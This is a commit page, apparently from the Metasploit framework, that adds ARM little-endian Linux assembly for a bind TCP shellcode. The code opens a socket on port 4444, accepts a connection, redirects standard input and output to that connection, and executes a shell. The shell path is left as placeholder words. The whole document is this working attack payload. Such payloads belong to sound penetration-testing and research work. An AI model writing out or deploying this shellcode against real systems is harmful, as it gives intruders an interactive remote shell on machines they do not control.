Skip to content

Commit a5aa6b2

Browse files
add source for linux/armle/shell_bind_tcp
1 parent ac4c11c commit a5aa6b2

File tree

1 file changed

+102
-0
lines changed

1 file changed

+102
-0
lines changed
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
@@
2+
@
3+
@ Name: single_sock_bind
4+
@ Qualities: -
5+
@ Authors: civ, repmovsb
6+
@ License: MSF_LICENSE
7+
@ Description:
8+
@
9+
@ Implementation of a Linux bind TCP shellcode for ARM LE architecture.
10+
@
11+
@ This source is built from the payload module (instead of other way around...)
12+
@
13+
@ Assemble with: as single_sock_bind.s -o single_sock_bind.o
14+
@ Link with: ld single_sock_bind.o -o single_sock_bind
15+
@
16+
@ Meta-Information:
17+
@
18+
@ meta-shortname=Linux Bind TCP
19+
@ meta-description=Listen on a port for a connection and run a second stage
20+
@ meta-authors=civ, repmovsb
21+
@ meta-os=linux
22+
@ meta-arch=armle
23+
@ meta-category=singles
24+
@ meta-connection-type=bind
25+
@ meta-name=bind_tcp
26+
@@
27+
28+
.text
29+
.globl _start
30+
_start:
31+
@ int socket(int domain, int type, int protocol);
32+
@ socket(2,1,6)
33+
mov r0, #2
34+
mov r1, #1
35+
mov r2, #6
36+
mov r7, #1
37+
lsl r7, r7, #8
38+
add r7, r7, #25
39+
svc 0
40+
mov r6, r0
41+
42+
@ bind
43+
add r1, pc, #128
44+
mov r2, #16
45+
mov r7, #1
46+
lsl r7, r7, #8
47+
add r7, r7, #26
48+
svc 0
49+
50+
@ listen
51+
mov r0, r6
52+
mov r7, #1
53+
lsl r7, r7, #8
54+
add r7, r7, #28
55+
svc 0
56+
57+
@ accept
58+
mov r0, r6
59+
sub r1, r1, r1
60+
sub r2, r2, r2
61+
mov r7, #1
62+
lsl r7, r7, #8
63+
add r7, r7, #29
64+
svc 0
65+
66+
@ dup
67+
mov r6, r0
68+
mov r1, #2
69+
loop:
70+
mov r0, r6
71+
mov r7, #63
72+
svc 0
73+
subs r1, r1, #1
74+
bpl loop
75+
76+
@ execve(SHELL, [SHELLARG], [NULL])
77+
add r0, pc, #36
78+
eor r4, r4, r4
79+
push {r4}
80+
mov r2, sp
81+
add r4, pc, #36
82+
push {r4}
83+
mov r1, sp
84+
mov r7, #11
85+
svc 0
86+
87+
@ addr
88+
@ port: 4444 , sin_fam = 2
89+
.word 0x5c110002
90+
@ ip: 0.0.0.0
91+
.word 0x00000000
92+
93+
@ SHELL
94+
.word 0x00000000 @ the shell goes here!
95+
.word 0x00000000
96+
.word 0x00000000
97+
.word 0x00000000
98+
@ SHELLARG
99+
.word 0x00000000 @ the args!
100+
.word 0x00000000
101+
.word 0x00000000
102+
.word 0x00000000

0 commit comments

Comments
 (0)